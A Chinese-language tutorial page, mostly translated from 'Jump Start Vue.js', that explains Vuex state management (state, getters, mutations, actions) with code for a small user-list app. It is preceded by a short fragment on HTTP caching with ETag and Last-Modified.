所以想要做好缓存,需要考虑浏览器兼容的问题,综合使用 http headers。
既然 Etag 可以校验资源是否更改,那为什么还要 Last-Modified 作为备用策略
这个问题大多数讲缓存的文章也没有提及。
Etag 是通过资源内容生成的,所以会有一个计算成本存在,本如大图片的更改,它的最后更改时间可以很容易获得,但是计算 Etag 成本就会高很多了。
原文链接:https://juejin.im/post/5da7286de51d4524a21c45d1
家好,在前面的几篇文章里我们一起学习了Vue相关的基础知识,想复习基础的同学可以点击文末链接进行回顾。今天我们将学习 Vue 的 State Management(状态管理):Vuex,我们在构建大型应用时 ,State Management 的处理至关重要。
随着业务的增加,我们的应用程序也变得越来越复杂,每个组件都有自己的数据状态,再加上组件之间的数据传递问题,一个数据的变化会影响好几个组件的连锁反应,这就增加了我们定位问题的难度。
因此要解决上述问题,我们就要集中管理数据,在多个组件中共享数据状态时——比如用户的登录信息或者UI组件的呈现状态(按钮禁用或加载数据)。
幸运的是,我们不需要手工去完成 State Management 的工作,许多流行的框架都能帮助我们管理数据状态,你可能听说过Redux——React生态中比较流行的状态管理解决方案。Vue当然也有自己的官方解决方案,称作Vuex。他们共同的特点就是帮助我们集中管理数据状态以及任何组件无需要父子关系,也能很容易进行数据之间的交互。
那我们如何使用Vuex呢?在使用之前,我们先看下下张图,这张图很好的诠释了 Vuex 的运行机制,理解了这张图,你就可以很快的上手Vuex的使用了。
要掌握Vuex理解以下几个概念很重要:
整个应用的数据中心,应用的相关组件在这里获取数据或更新数据,是整个应用唯一的数据中心。
数据中心的管家,只能在数据中心的内部进行更改,外部组件无法进行直接更改State,只能依赖dispatch action(行为调度) 或 commit a mutation(提交mutation)间接操作。
Getters 的本质就是 Vuex store 的 computed 属性,读取 store/state 的内容,Getters中的数据将会被缓存,数据更新时其依赖的相关组件状态也随之及时更新。
在应用中共享全局数据状态时,也会导致一些问题,因为数据的改变可以来自任何组件,因此很难定位和跟踪数据的状态。
因此 Vuex 提出了使用 Mutations 这种方式进行更改数据的状态,并不是直接进行更改,其 Vue devtools 工具能很好很准确帮我定位哪些更改以及何时进行的更改。
如果你使用过 Redux ,Mutations 的概念很类似 reducer,其作用也是对数据状态进行更改。
如果要执行异步任务或多个相关的Mutations去更新数据状态时,我们需要 Actions 去定义函数进行操作,其函数第一个参数 context 可以获 state , commit 和 getters 的相关属性,方便我们组织定义更复杂的逻辑。比如我们常用的接口数据请求获取数据,就会经常用到Actions。
最后做下总结,我们使用 Store/State 定义和管理应用的核心数据,在组件中通过compute属性调用Getters 中的数据,如果我们要操作数据,我们可以通过使用 dispatch 方法调用已注册的 Actions 方法,Actions 再去调用相关的 mutations 进行数据的操作。
接下来我们亲自动手做一个简单的练习,通过代码进一步的了解Vuex,废话不多说,我们开始吧!
假设我们通过 CLI 工具创建了一个Vue 项目(使用默认预设),如果我们要使用 Vuex 就要安装相关依赖,安装命令如下:
npm install vuex
依赖安装完成后,我们需要将Vuex实例进行注册,接下来我们在src目录里新建个 store.js ,示例代码如下:
src/store.js
import Vue from "vue";
import Vuex from "vuex";
Vue.use(Vuex);
export default new Vuex.Store({
state: {},
mutations: {},
actions: {}
});
我们在 Vuex.store 构造函数里传入一个对象,含有 state , mutations 及actions 这几个核心属性,不用担心,我们来一步步逐一实现,接下来我们打开 main.js 文件,在Vue实例里进行注册,示例代码如下:
src/main.js
import Vue from "vue";
import App from "./App.vue";
import store from "./store";
Vue.config.productionTip = false;
new Vue({
store,
render: h => h(App)
}).$mount("#app");
完成上述操作后,我们就能很方便的通过 this.$store 访问 store 实例的内容。
State 本身就是一个 JS 对象,创建的数据可以在不同的组件中进行共享,比如初始化一个购物车的数据,示例代码如下:
export default new Vuex.Store({
state: {
customerName: 'John Smith',
shoppingCart: [
{
name: 'Jumbo Box of Teabags',
quantity: 1,
price: 350
},
{
name: 'Packet of Fancy Biscuits',
quantity: 1,
price: 199
},
]
},
});
状态属性的值可以包含任何有效的数据类型,接下来我们可以在组件中使用 computed 进行数据的获取,比如我们要获取顾客的名字,示例代码如下:
<template>
<div>
<span>{{ customerName }}</span>
</div>
</template>
<script>
export default {
computed: {
customerName() {
return this.$store.state.customerName;
}
}
}
</script>
上述代码我们通过 store 实例进行数据获,也许你会觉得这样获取很啰嗦,Vuex 提供了一个工具函数能很方便的获取 store 实例的数据。
使用 mapState 方法,示例代码如下:
<template>
<div>
<span>{{ customerName }}</span>
</div>
</template>
<script>
import { mapState } from "vuex";
export default {
computed: {
...mapState(['customerName'])
}
}
</script>
mapState() 方法使用 ES6 的新语法 ... 帮助我们获取 State 中的数据,只需要在函数里传递State对应的属性值即可,这样是不是很简单呢。
Getters 的本质就是 Vuex store 的 computed 属性,它允许你可以在不同组件之间共享数据状态,就和组件的 computed 属性是一样的,其中的数据将会被缓存,数据发生变化时,进行动态计算,实时反馈。
比如我们要获取购物车商品的商品种类,示例代码如下:
export default new Vuex.Store({
state: {
shoppingCart: [
// ...
]
},
getters: {
cartItemCount: state => state.shoppingCart.length
}
});
在组件中使用 getter 方法来获取 store/state ,我们需要创建一个 computed 属性进行调用,示例代码如下:
<template>
<div>
<span>Shopping Cart ({{ cartItemCount }} items)</span>
</div>
</template>
<script>
export default {
computed: {
cartItemCount() {
return this.$store.getters.cartItemCount;
}
}
}
</script>
同样 Vuex 提供了一个更便捷的方法 mapGetters() 快速调用 getter,我们传递getters 对象的属性值即可,示例代码如下:
<template>
<div>
<span>Shopping Cart ({{ cartItemCount }} items)</span>
</div>
</template>
<script>
import { mapGetters } from "vuex";
export default {
computed: {
...mapGetters(['cartItemCount'])
}
}
</script>
如果我们要进行数据状态的更新,我们可以使用 Mutations 进行方法的定义,比如我们要更新购物车顾客的姓名,示例代码如下:
export default new Vuex.Store({
state: {
customerName: 'Fred'
},
mutations: {
setCustomerName(state, name) {
state.customerName = name;
}
}
});
接下来我们在调用的组件里定义方法,通过调用 mutations 的 setCustomerName 的方法进行数据操作,这里我们使用 commit() 方法进行调用,示例代码如下:
<template>
<div>
<p>{{ customerName }}</p>
<input type="text" @input="updateName" :value="customerName" />
</div>
</template>
<script>
import { mapState } from "vuex";
export default {
name: "Example",
computed: {
...mapState(['customerName'])
},
methods: {
updateName(event) {
this.$store.commit('setCustomerName', event.target.value);
}
}
}
</script>
上述代码,我们通过一个文本输入框组件,进行顾客姓名信息的更改,同样,你也猜到了,Vuex也提供了 mapMutations 方法,快速获取对应的属性方法,简化后的调用方法,示例代码如下:
import { mapState, mapMutations } from 'vuex';
export default {
name: "Example",
computed: {
...mapState(['customerName'])
},
methods: {
...mapMutations(['setCustomerName']),
updateName(event) {
this.setCustomerName(event.target.value);
}
}
}
你可能注意到,我们这里的操作是同步的,如果操作的数据需要等待,或者比较费时间,比如我们需要异步请求(AJAX)后端的数据,我们就需要使用 actions ,这就是其存在的理由。
讲到这里,你也许会这样理解,state 就好比 store/ state 的状态树,我们通过 commit 方法去调用mutations 定义的方法属性去更新数据状态,使用 getters 属性定义获取状态树的数据集合。
Actions 则为我们提供了异步获取后端数据API接口的规则,比如我们要获取一组用户列表信息,示例代码如下:
import Vue from "vue";
import Vuex from "vuex";
import axios from "axios";
Vue.use(Vuex);
export default new Vuex.Store({
state: {
users: [],
isLoading: false,
},
mutations: {
setLoadingTrue(state) {
state.isLoading = true;
},
setLoadingFalse(state) {
state.isLoading = false;
},
setUsers(state, users) {
state.users = users;
},
setCustomerName(state, name) {
state.customerName = name;
}
},
actions: {
getUsers(context) {
context.commit('setLoadingTrue');
axios.get('/api/users')
.then(response => {
context.commit('setUsers', response.data);
context.commit('setLoadingFalse');
})
.catch(error => {
context.commit('setLoadingFalse');
// handle error
});
}
}
});
在上述例子里,我们定义了数据请求中的状态,默认为false,请求数据时将其定义为true,请求完毕或接口异常时,将其重置为初始值。之所以定义这个状态值,方便前端组件进行UI的展示,提示用户数据正在加载中。
接下来我们可以通过 Vuex Store 提供的 this.$store.dispatch() 方法调用actions 定义的方法,但是也可以通过 mapActions() 来简化代码的调用,示例代码如下:
<template>
<div>
<div id="spinner" v-if="isLoading">
<img src="spinner.gif" />
</div>
<ul v-else>
<li v-for="(user, index) in users" :key="index" >{{ user }}</li>
</ul>
</div>
</template>
<script>
import { mapActions, mapState } from "vuex";
export default {
computed: {
...mapState([
'isLoading',
'users'
])
},
methods: {
...mapActions(['getUsers'])
},
created() {
this.getUsers();
}
}
</script>
通过以上代码示例,想必大家对 state,store,getters, mutations,actions 有了更深刻的认识吧。
最后我们做一个完整的例子,对上述的学习进行一个巩固,我们来做一个用户信息列表和一个用户信息详细页,通过后端接口的形式进行获取。
我们先通过 CLI 脚手架使用 manually 创建项目,确保我们选择了 Vue Router 和 Vuex 选项,创建完成后,我们修改下项目的 index.html 页面,添加一些基础的CSS样式信息。示例代码如下:
public/index.html
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="viewport"
content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
<title>Vuex Example - Jump Start Vue.js</title>
<link rel="stylesheet" type="text/css"
href="<https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.3.1/semantic.min.css>">
<style type="text/css">
body {
background-color: #FFFFFF;
}
.ui.menu .item img.logo {
margin-right: 1.5em;
}
.main.container {
margin-top: 7em;
}
</style>
</head>
<body>
<div id="app"></div>
</body>
</html>
接着我们继续修改下 <App> 组件的内容,代码如下:
src/App.vue
<template>
<div>
<div class="ui fixed inverted menu">
<div class="ui container">
<div class="header item">
<img class="logo" src="./assets/logo.png">
Jump Start Vue.js
</div>
<router-link class="item" to="/" exact>Home</router-link>
<router-link class="item" to="/users">Users</router-link>
</div>
</div>
<router-view></router-view>
</div>
</template>
<script>
import { mapActions } from "vuex";
export default {
name: "App",
methods: {
...mapActions(["fetchUsers"])
},
created() {
this.fetchUsers();
}
};
</script>
你可能注意到,上述代码我们创建了 <router-link> 组件,方便我们进行页面之间的切换,同时我们调用了mapActions 中的 fetchUsers 方法,用于应用一加载,我们就去请求后端数据,获取用户信息。
接下来,我们来编写Vuex的核心文件,store.js 文件,示例代码如下:
src/store.js
import Vue from "vue";
import Vuex from "vuex";
import axios from "axios";
Vue.use(Vuex);
export default new Vuex.Store({
state: {
users: [],
selectedUserId: null,
isFetching: false
},
mutations: {
setUsers(state, { users }) {
state.users = users;
},
setSelectedUser(state, id) {
state.selectedUserId = id;
},
setIsFetching(state, bool) {
state.isFetching = bool;
}
},
getters: {
selectedUser: state =>
state.users.find(user => user.login.uuid === state.selectedUserId)
},
actions: {
fetchUsers({ commit }) {
commit("setIsFetching", true);
return axios
.get("<https://randomuser.me/api/?nat=gb,us,au&results=5&seed=abc>")
.then(res => {
setTimeout(() => {
commit("setIsFetching", false);
commit("setUsers", { users: res.data.results });
}, 2500);
})
.catch(error => {
commit("setIsFetching", false);
console.error(error);
});
}
}
});
上述代码,这里不再过多解释,因为和我们开头的例子很类似,这里需要提一下,我们需要通过以下命令安装 axios 依赖:
npm install axios
接下来,我们继续编写三个页面组件:Home(首页)、Users(用户列表)、User(用户信息页)
src/views/Home.vue
<template>
<div class="ui main text container">
<h1 class="ui header">Vuex 数据管理</h1>
<p>This is a basic Vuex example app, to demo the concepts learned in the
➥accompanying chapter.</p>
<p>Go to <router-link to="/users">Users</router-link></p>
</div>
</template>
<script>
export default {
name: "Home"
}
</script>
上面的代码也不需要太多的解释,首页包含了一个链接,导向用户信息列表页。
src/views/Users.vue
<template>
<div class="ui main text container">
<h1 class="ui header">Users</h1>
<div class="ui active inverted dimmer" v-if="isFetching">
<div class="ui text loader">Loading</div>
</div>
<ul v-else>
<li v-for="(user, index) in users" :key="index">
<router-link :to="{ name: 'user', params: { id: user.login.uuid }}">
{{ user.name.title }} {{ user.name.first }} {{ user.name.last }}
</router-link>
</li>
</ul>
</div>
</template>
<script>
import { mapState } from "vuex";
export default {
name: "Users",
computed: {
...mapState([
'isFetching',
'users'
])
}
}
</script>
<style>
li {
text-transform: capitalize;
}
</style>
上述代码,我们通过 mapState 获取了 isFetching,users 数据状态,第一个用于显示数据是否正在加载中,第二个则是用户的数据集合信息,并有专门的链接指向用户信息详情页。
src/views/User.vue
<template>
<div class="ui main text container" v-if="selectedUser">
<div class="ui items">
<div class="item">
<div class="image">
<img :src="selectedUser.picture.large">
</div>
<div class="content">
<a class="header">{{ fullName }}</a>
<div class="meta">
<span>{{ selectedUser.email }}</span>
</div>
<div class="description">
<p>{{ selectedUser.location.street }}, {{ selectedUser.location.city }},
{{ selectedUser.location.state }}, {{ selectedUser.location.postcode }}
</p>
</div>
<div class="extra">
{{ selectedUser.phone }}<br />
{{ selectedUser.cell }}
</div>
</div>
</div>
</div>
</div>
</template>
<script>
import { mapGetters, mapMutations } from "vuex";
export default {
name: "Users",
computed: {
...mapGetters(["selectedUser"]),
fullName() {
return `${this.selectedUser.name.first} ${this.selectedUser.name.last}`;
}
},
methods: {
...mapMutations(["setSelectedUser"])
},
created() {
const userId = this.$route.params.id;
this.setSelectedUser(userId);
}
};
</script>
<style scoped>
a.header, p {
text-transform: capitalize;
}
</style>
这个组件通过路由传参,调用 Mutations 的方法,更新当前的用户的数据状态信息,并通过mapGetters 方法获取 selectedUser 定义的属性方法,读取用户的信息。
最后我们来看下路由组件的定义,示例代码如下:
import Vue from "vue";
import Router from "vue-router";
import Home from "./views/Home.vue";
import Users from "./views/Users.vue";
import User from "./views/User.vue";
Vue.use(Router);
export default new Router({
mode: "history",
linkActiveClass: "active",
routes: [
{
path: "/",
name: "home",
component: Home
},
{
name: "users",
path: "/users",
component: Users
},
{
name: "user",
path: "/users/:id",
component: User
}
]
});
最后完成的项目效果如下图所示:
今天的分享就到这里,最后我们在做下小节:
六、Vue 基础相关文章
「vue基础」新手快速入门篇(一)
「vue基础」Vue相关构建工具和基础插件简介
「vue基础」手把手教你编写一个简单的 Vue 组件
「vue基础」深入学习如何编写 Vue 组件
「vue基础」一篇浅显易懂的 Vue 路由使用指南( Vue Router 上)
「vue基础」一篇浅显易懂的 Vue 路由使用指南( Vue Router 下)
本文大部分内容翻译来源:《Jump Start Vue.js》作者:Nilson Jacques
链接: https://www.sitepoint.com/premium/books/jump-start-vue-js/read/5
*请认真填写需求信息,我们会在24小时内与您取得联系。